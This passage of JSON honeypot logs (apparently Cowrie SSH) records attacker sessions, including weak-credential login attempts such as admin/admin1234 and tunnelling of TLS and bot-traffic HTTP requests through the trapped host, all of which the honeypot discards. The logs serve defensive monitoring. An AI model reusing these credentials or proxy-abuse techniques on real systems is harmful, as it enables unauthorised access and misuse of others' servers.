K;\\xed\\x83\\xc0h\\x08\\x81\\xdd\\xcaC\\xb4\\x9d\\x92Z\\xf6A\\xa8\\xe3\\x94\\xc4I\\xa0\\xf4j\\xc7\\xc9\\' \\xdd\\x16\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.255365Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.338271Z","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.399084Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x036\\xbc\\xea\\x86\\x17P\\xe5\\xc4\\xef\\x87Sb\\x08\\n\\xa9\\x06\\x81,\\x83\\x91$qe:\\x12\\x8ce\\x92\\xf7G\\xbe: \\xa14y%\\x91\\xebLn\\xd3\\x9e\\xaaP\\xcd\\xa5\\xc1\\xed\\xb6\\x04u\\x9c\\xcf\\x01X\\xe5*\\xbcP\\xb8\\xce\\x81\\xa0;\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5tnY/\\x8a\\xb2\\xb1\\xf9\\x1b+nSJd\\x8c2%\\x1e\\xb2\\x94\\x05!\\x93\\x84e\\x90\\xfb\\xf2o\\xcew\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x036\\xbc\\xea\\x86\\x17P\\xe5\\xc4\\xef\\x87Sb\\x08\\n\\xa9\\x06\\x81,\\x83\\x91$qe:\\x12\\x8ce\\x92\\xf7G\\xbe: \\xa14y%\\x91\\xebLn\\xd3\\x9e\\xaaP\\xcd\\xa5\\xc1\\xed\\xb6\\x04u\\x9c\\xcf\\x01X\\xe5*\\xbcP\\xb8\\xce\\x81\\xa0;\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5tnY/\\x8a\\xb2\\xb1\\xf9\\x1b+nSJd\\x8c2%\\x1e\\xb2\\x94\\x05!\\x93\\x84e\\x90\\xfb\\xf2o\\xcew\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.402415Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:42.418577Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:43.600702Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:43.982016Z","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.073175Z","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.215637Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.4.2 Mobile/18D70 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e24wKDxeVz5%2BMzJwNmVOTg%3D%3D%2BYOQ1uezE80OoLYo%2FwoW6HNlMTzlzuyZKnlE%2Bcx3p%2BKOKgfdAbqXAcFFhezBqcY9MmPdPlf%2F7RhydtOEA93A9QLhNJCjl86xY%2ByS1C4W2I798LUvOkffpbOt4hs7QtpafKYhCNHFVz7XAZA%2FdOA%2FmkU6PQr8yjbUYkajYTfrgUcLDRmx7cMG2gxotAB3Sgjlm2ZbeTNgHUyQ7SBpb1Wpml%2BOeA59afXabYsQ8l7kebZeqHydTiTl9sYZf%2BTukZUiHdy1iyPjDVlorDUTXCD7A2u5SnKKD%2FSsB5r8hk0oBd0SNRi61KuDKG6A9XSJBywSghFCYn9jVZKtwvzdD9RGqgbyY84KgU1jeUH4VTKjzHupJ2MTvDv%2FxjaCqxcUmpM1xL2rQ6mSoN3EqSvcHxeeTYBzXqVXgA2i3xcsR7KxGmprV9dm7j0ixUxyU60LVQEWNcyxZj5mu6PyVsA%2BvvTOBjysrq0qlsIQc9mVaXtK99tkM517N9%2FvwTkxjiTZ9lv6PlEowaC8Tv8FKN0kc%2FSWNz7Xu%2B3jFGuW9zu4VQzvLq2Vz5lYNlTEVpp3EpxgR4vkOKl5uhkNq%2BRoCr00QmkN1xdB6Kq4WJ5I32SDBh%2BYU31WXRXO7MUj6fN0wEJ7pvDpk%2Fbfp%2FNWByvfD8ADR2SeUateXm%2BO%2BR8bqGbYVM8BJmd1xQ%2FOLCNPmH28t38ES83FbzereG1Ed0uCUtrytFJSMQ2Zbrc8mHIocb166wlj17bZVrmcSkYOGl97YqgLz%2FbRirnaTycI%2BlmzUqzFZ8xOCUbMUebQuACj57owvx23RO1UVi3YYJwe7N9Gi1ZJBuQP5kDS9QUZmk2wNHH4lqBRArCpdJkEfqk2T3mhakTFZX2vfjOIAN%2Fa2fsR%2FTGoU%2F1QlgNpQGp7g1jkMI%2BxqBij8b3TzOUX6b2LZ8WDQ6jOiqmSBPCrhkoiaqrkkQtuAy6G5kTp2RWI3gMYL56EozbzeE8Kc1oh2xG8I33RfV3stDP9ngQ50tOuzWnPN8VR2j4PcnaxeC9%2BRcaN%2FKo3KQ5%2FpNbk5bzoLK5msOGGypS%2Fk2DYfHdU7yzGcvP3v6BAU0dy'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.4.2 Mobile/18D70 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=e24wKDxeVz5%2BMzJwNmVOTg%3D%3D%2BYOQ1uezE80OoLYo%2FwoW6HNlMTzlzuyZKnlE%2Bcx3p%2BKOKgfdAbqXAcFFhezBqcY9MmPdPlf%2F7RhydtOEA93A9QLhNJCjl86xY%2ByS1C4W2I798LUvOkffpbOt4hs7QtpafKYhCNHFVz7XAZA%2FdOA%2FmkU6PQr8yjbUYkajYTfrgUcLDRmx7cMG2gxotAB3Sgjlm2ZbeTNgHUyQ7SBpb1Wpml%2BOeA59afXabYsQ8l7kebZeqHydTiTl9sYZf%2BTukZUiHdy1iyPjDVlorDUTXCD7A2u5SnKKD%2FSsB5r8hk0oBd0SNRi61KuDKG6A9XSJBywSghFCYn9jVZKtwvzdD9RGqgbyY84KgU1jeUH4VTKjzHupJ2MTvDv%2FxjaCqxcUmpM1xL2rQ6mSoN3EqSvcHxeeTYBzXqVXgA2i3xcsR7KxGmprV9dm7j0ixUxyU60LVQEWNcyxZj5mu6PyVsA%2BvvTOBjysrq0qlsIQc9mVaXtK99tkM517N9%2FvwTkxjiTZ9lv6PlEowaC8Tv8FKN0kc%2FSWNz7Xu%2B3jFGuW9zu4VQzvLq2Vz5lYNlTEVpp3EpxgR4vkOKl5uhkNq%2BRoCr00QmkN1xdB6Kq4WJ5I32SDBh%2BYU31WXRXO7MUj6fN0wEJ7pvDpk%2Fbfp%2FNWByvfD8ADR2SeUateXm%2BO%2BR8bqGbYVM8BJmd1xQ%2FOLCNPmH28t38ES83FbzereG1Ed0uCUtrytFJSMQ2Zbrc8mHIocb166wlj17bZVrmcSkYOGl97YqgLz%2FbRirnaTycI%2BlmzUqzFZ8xOCUbMUebQuACj57owvx23RO1UVi3YYJwe7N9Gi1ZJBuQP5kDS9QUZmk2wNHH4lqBRArCpdJkEfqk2T3mhakTFZX2vfjOIAN%2Fa2fsR%2FTGoU%2F1QlgNpQGp7g1jkMI%2BxqBij8b3TzOUX6b2LZ8WDQ6jOiqmSBPCrhkoiaqrkkQtuAy6G5kTp2RWI3gMYL56EozbzeE8Kc1oh2xG8I33RfV3stDP9ngQ50tOuzWnPN8VR2j4PcnaxeC9%2BRcaN%2FKo3KQ5%2FpNbk5bzoLK5msOGGypS%2Fk2DYfHdU7yzGcvP3v6BAU0dy'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.218452Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123qwerty","message":"login attempt [mysql/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.338952Z","src_ip":"91.92.40.36","session":"af94e1901075","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.443967Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\x9bN\\xec\\xa4'O\\xba\\xcc\\xbd\\xbc_Ph!\\x8bY\\x84q\\xe2Z*\\x1d\\xf5\\xdcb?\\x01\\x86D\\x15& ;\\x0f\\xb5;\\xccz<\\x7fL\\xdeF\\x11\\x1d\\x96\\x97-w\\xb25\\x81\\xc8\\x0c\\x8d\\xb6\\xda\\xc4h|\\xe372f\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 YN\\xb7\\r\\x88N\\xf8\\x81\\xd0\\x80NP\\xe5\\x12g\\xbc\\xde\\xfd\\xfa\\x0b\\x80\\xc9\\xcfg\\xfb\\xe9=\\x9e\\xdd}.G\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\x9bN\\xec\\xa4'O\\xba\\xcc\\xbd\\xbc_Ph!\\x8bY\\x84q\\xe2Z*\\x1d\\xf5\\xdcb?\\x01\\x86D\\x15& ;\\x0f\\xb5;\\xccz<\\x7fL\\xdeF\\x11\\x1d\\x96\\x97-w\\xb25\\x81\\xc8\\x0c\\x8d\\xb6\\xda\\xc4h|\\xe372f\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 YN\\xb7\\r\\x88N\\xf8\\x81\\xd0\\x80NP\\xe5\\x12g\\xbc\\xde\\xfd\\xfa\\x0b\\x80\\xc9\\xcfg\\xfb\\xe9=\\x9e\\xdd}.G\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.447159Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
